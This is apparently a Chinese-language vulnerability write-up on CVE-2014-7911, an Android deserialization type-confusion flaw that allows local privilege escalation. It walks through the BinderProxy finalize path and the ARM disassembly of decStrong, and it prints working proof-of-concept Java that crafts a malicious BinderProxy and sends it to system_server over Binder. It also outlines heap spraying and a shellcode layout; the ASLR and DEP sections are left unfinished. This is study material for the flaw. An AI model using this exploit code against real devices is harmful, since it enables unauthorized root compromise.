本文内容:
因Android反序列化漏洞导致的Android本地提权
Android平台上的ROP:绕过DEP
绕过Android平台的ASLR
Android Binder
Java序列化与反序列化
Heap Spary
CVE-2014-7911
摘自NVD
luni/src/main/java/java/io/ObjectInputStream.java in the java.io.ObjectInputStream implementation in Android before 5.0.0 does not verify that deserialization will result in an object that met the requirements for serialization, which allows attackers to execute arbitrary code via a crafted finalize method for a serialized object in an ArrayMap Parcel within an intent sent to system_service, as demonstrated by the finalize method of android.os.BinderProxy, aka Bug 15874291.
Source: MITREDescription Last Modified: 12/15/2014
POC: https://github.com/CytQ/CVE-2014-7911_poc
漏洞细节 Android5.0以下的ObjectInputStream在反序列化时没有校验该java对象是否可序列化。因此攻击者可精心构建一个不可序列化的对象以及恶意的成员变量。当该恶意对象被反序列化时会产生类型混淆(type confusion),使恶意的成员变量被当成本地代码的指针,从而执行shellCode
Target: android.os.BinderProxy 这个类本身是不可序列化的,他有个成员变量mOrgue。在系统GC的时候,会调用它的finalize方法,这个方法会将该类的mOrgue参数强制转换为对象指针A,如果我们能控制mOrgue,就能控制接下来程序执行的逻辑了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 @Override protected void finalize () throws Throwable { try { destroy(); } finally { super .finalize(); } } private native final void destroy () ;gBinderProxyOffsets.mObject = env->GetFieldID(clazz, "mObject" , "I" ); gBinderProxyOffsets.mOrgue = env->GetFieldID(clazz, "mOrgue" , "I" ); static void android_os_BinderProxy_destroy (JNIEnv* env, jobject obj) { IBinder* b = (IBinder*) env->GetIntField(obj, gBinderProxyOffsets.mObject); DeathRecipientList* drl = (DeathRecipientList*) env->GetIntField(obj, gBinderProxyOffsets.mOrgue); LOGDEATH("Destroying BinderProxy %p: binder=%p drl=%p\n" , obj, b, drl); env->SetIntField(obj, gBinderProxyOffsets.mObject, 0 ); env->SetIntField(obj, gBinderProxyOffsets.mOrgue, 0 ); drl->decstrong((void *)javaobjectforibinder); b->decStrong((void *)javaObjectForIBinder); IPCThreadState::self()->flushCommands(); }
从上文能看到,类型混淆后drl已经转交给攻击者控制。
DeathRecipientList继承自RefBase,desStrong的实现为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 class RefBase : :weakref_impl : public RefBase::weakref_type{ public : volatile int32_t mStrong; volatile int32_t mWeak; RefBase* const mBase; volatile int32_t mFlags; ... } void RefBase::decStrong(const void * id) const { weakref_impl* const refs = mRefs; refs->removeStrongRef(id); const int32_t c = android_atomic_dec(&refs->mStrong); #if PRINT_REFS ALOGD("decStrong of %p from %p: cnt=%d\n" , this , id, c); #endif ALOG_ASSERT(c >= 1 , "decStrong() called on %p too many times" , refs); if (c == 1 ) { refs->mBase->onLastStrongRef(id); if ((refs->mFlags&OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) { delete this ; } } refs->decWeak(id); }
mRefs是RefBase的第一个成员变量,RefBase是DeathRecipientList的父类。因此对象布局为先放置父类,然后放置自己的成员。对象中的方法不占空间,如果有虚函数会有一个虚函数表的地址(4字节放置在对象的最开始),然后放置成员变量。
故mRefs变量的地址=DeathRecipientList地址+4 = mOrgue指针指向的地址+4
因此refs的地址我们可控,refs->mBase(算偏移即可)亦可控,只要我们构造特殊的内存布局就可以通过refs->mBase->onLastStrongRef(id)执行任意代码
POC验证 POC:https://github.com/CytQ/CVE-2014-7911_poc
POC 1 安装APP,点击Hello World按钮后logcat会显示sparying日志,如下:
当sparying显示到1900后,等待30秒,按home键返回桌面,再等30秒,点击任意APP,等待1~2分钟(这是为了sparying完后能触发一次gc)。手机重启,验证成功,显示如下:
POC 2
注释POC 1中的heap_spary_ex()函数以及expolit(int static_address)中的evilProxy.mOrgue = static_address;
运行程序,evilProxy.mOrgue = 0x1337beef // 该地址无意义
当系统崩溃时,能拦截到如下的日志:
此时的fault addr等于mOrgue,说明类型强转后跳转到的1337beef这个地址无效,验证成功
Poc 2 攻击原理 构建恶意BinderProxy对象,设置mOrgue字段的值为shellcode或ROP Chain的起始地址.验证POC时这里是一个随机无效地址 1 2 3 4 5 6 7 8 9 10 package AAdroid.os;import java.io.Serializable;public class BinderProxy implements Serializable { private static final long serialVersionUID = 0 ; public int mObject = 0x1337beef ; public int mOrgue = 0x1337beef ; }
2、构建恶意BinderProxy并进行Binder跨进程通信。 Binder通信的原理这里不再过多赘述,在以前的博客中有过详细介绍。这里只简单提一下流程:
Android中存在Client和Server的概念,所有请求方都被称为Client,如PackageManager、ActivityManager。所有接收请求的服务方都被称为Server,如PackageManagerService、ActivityManagerService。他们本身就属于不同的进程,因此通信时属于跨进程通信,实现工具为Binder。
Server首先在ServiceManager中注册,也就是留下一个远端调用接口,用这个接口可以去获取Server的服务。Client再请求时,把自己的基本信息比如UID、PID等发送给Binder Driver传过去,并进入等待状态,此时传送的数据为Tran_data(可能不叫这个,具体的忘了)。Binder driver再携带请求方的基本信息发送Transaction给Server,Server接收到了之后判断权限,符合就返值。Driver把返回的值用Tran_reply的方式告诉Client,并结束这次通信。
下面放出这张通俗易懂的神图
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 private void expolit (int static_address) { Context context = getBaseContext(); try { Bundle bundle = new Bundle(); AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy(); evilProxy.mOrgue = static_address; Log.e("cve" , "mOrgue: " + static_address + "" ); bundle.putSerializable("eatthis" , evilProxy); Class clIUserManager = Class.forName("android.os.IUserManager" ); Class[] umSubclasses = clIUserManager.getDeclaredClasses(); Log.e("mylog" , umSubclasses.length + " inner classes found" ); Class clStub = null ; for (Class c : umSubclasses) { Log.e("mylog" , "inner class: " + c.getCanonicalName()); if (c.getCanonicalName().equals("android.os.IUserManager.Stub" )) { clStub = c; } } Field fTRANSACTION_setApplicationRestrictions = clStub.getDeclaredField("TRANSACTION_setApplicationRestrictions" ); fTRANSACTION_setApplicationRestrictions.setAccessible(true ); TRANSACTION_setApplicationRestrictions = fTRANSACTION_setApplicationRestrictions.getInt(null ); UserManager um = (UserManager) context.getSystemService(Context.USER_SERVICE); Field fService = UserManager.class.getDeclaredField("mService" ); fService.setAccessible(true ); Object proxy = fService.get(um); Class[] stSubclasses = clStub.getDeclaredClasses(); Log.e("mylog" , stSubclasses.length + " inner classes found" ); clProxy = null ; for (Class c : stSubclasses) { Log.e("mylog" , "inner class: " + c.getCanonicalName()); if (c.getCanonicalName().equals("android.os.IUserManager.Stub.Proxy" )) { clProxy = c; } } Field fRemote = clProxy.getDeclaredField("mRemote" ); fRemote.setAccessible(true ); mRemote = (IBinder) fRemote.get(proxy); UserHandle me = android.os.Process.myUserHandle(); setApplicationRestrictions(context.getPackageName(), bundle, me.hashCode()); Log.i("badserial" , "waiting for boom here and over in the system service..." ); } catch (Exception e) { throw new RuntimeException(e); } } public void setApplicationRestrictions (String packageName, Bundle restrictions, int userHandle) throws RemoteException { android.os.Parcel _data = android.os.Parcel.obtain(); android.os.Parcel _reply = android.os.Parcel.obtain(); try { _data.writeInterfaceToken(DESCRIPTOR); _data.writeString(packageName); _data.writeInt(1 ); restrictions.writeToParcel(_data, 0 ); _data.writeInt(userHandle); byte [] data = _data.marshall(); for (int i = 0 ; true ; i++) { if (data[i] == 'A' && data[i + 1 ] == 'A' && data[i + 2 ] == 'd' && data[i + 3 ] == 'r' ) { data[i] = 'a' ; data[i + 1 ] = 'n' ; break ; } } Log.e("cve" , Arrays.toString(data)); _data.recycle(); _data = Parcel.obtain(); _data.unmarshall(data, 0 , data.length); mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0 ); _reply.readException(); } finally { _reply.recycle(); _data.recycle(); } }
通过上面这几步就已完成恶意数据的发送,只要此时再触发一次GC,就能执行finalize方法,从而控制DeathRecipientList* drl这个指针。
3、汇编分析 从/system/lib中pull出libutils.so,ida解析
c++整体如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 void RefBase::decStrong(const void * id) const { weakref_impl* const refs = mRefs; refs->removeStrongRef(id); const int32_t c = android_atomic_dec(&refs->mStrong); #if PRINT_REFS ALOGD("decStrong of %p from %p: cnt=%d\n" , this , id, c); #endif ALOG_ASSERT(c >= 1 , "decStrong() called on %p too many times" , refs); if (c == 1 ) { refs->mBase->onLastStrongRef(id); if ((refs->mFlags&OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) { delete this ; } } refs->decWeak(id); }
汇编整体如下:
注意一点,decStrong的汇编代码有两个参数,一个是this指针(我们可控),一个是void*的地址
refs对象内部有4个局部变量,分别叫mStrong、mWeak、mBase、mFlags。无虚函数,因此mStrong的地址就是refs的地址,mBase = refs+8
分开来看:
1、
weakref_impl* const refs = mRefs; refs->removeStrongRef(id); const int32_t c = android_atomic_dec(&refs->mStrong);
对应的汇编为:
LDR R4, [R0,#4] ; R0是this指针,我们可控,根据内存布局可知,R0+4指向mRefs MOV R6, R1 ; R1是参数id。refs->removeStrongRef(id)在代码里是空实现,
; 因此被直接省略掉了
MOV R0, R4 ; R0 = refs BLX android_atomic_dec ; 入参是refs->mStrong,因为refs没有实现类,
; 因此mStrong是它的第一个成员变量,mStrong的地址=refs
2、
if (c == 1) { // 攻击这个方法 refs->mBase->onLastStrongRef(id); if ((refs->mFlags&OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) { delete this; } }
对应的汇编为:
.text:0000D180 CMP R0, #1 ; 将android_atomic_dec的值c与1进行比较 .text:0000D182 BNE loc_D19C .text:0000D184 LDR R0, [R4,#8] ; R4 = refs. r0 = refs+8 = refs->mBase .text:0000D186 MOV R1, R6 ; R1 = R6 = id .text:0000D188 LDR R3, [R0] .text:0000D18A LDR R2, [R3,#0xC] ; onLastStrongRef是mBase的虚函数,因此到
mBase+0XC的位置取偏移,然后跳转
.text:0000D18C BLX R2
这里的BLX R2就是我们的攻击点。
所以我们要做的就是:构建Shellcode,让This指针指向头部从而控制R0(其实就是让mOrgue指向shellcode首部)。Shellcode头部+4的地方是mRefs,Shellcode+12的地方是mBase,Shellcode+12+0xC的地方就是最终的恶意代码攻击开始的地方。
需要注意的点:android_atomic_dec这个函数(检测引用计数的)会对参数进行减1操作并判断结果是否为0,如果为0,就表明该数没有其他地方在引用了,返回值为1.因此,我们需要将refs->mStrong的值设置为1
因此,可写出如下的Shellcode: 1 2 3 4 5 if (*(*(mOrgue+4 )) == 1 ) { refs = *(mOrgue+4 ); r2 = *(*(*(refs+8 ))+12 ); blx r2 ; <—— controlled; }
4、绕过ALSR
与其他操作系统一样,Android对ASLR机制的支持也是分阶段完成的,最早在4.0 版本引入,仅仅实现了对栈 和nmap 系统调用所创建的区域(包括动态链接库)的随机化。在4.0.3 实现了对堆 空间的随机化,但是动态连接器(linker) 本身的随机化并未实现,4.1.1 为linker和所有其他的系统二进制文件进行了随机化,目前Android系统已经完全支持了ASLR机制。
Android内的所有进程都fork自Zygote进程,
5、绕过DEP 6、制作Shellcode,提权 资料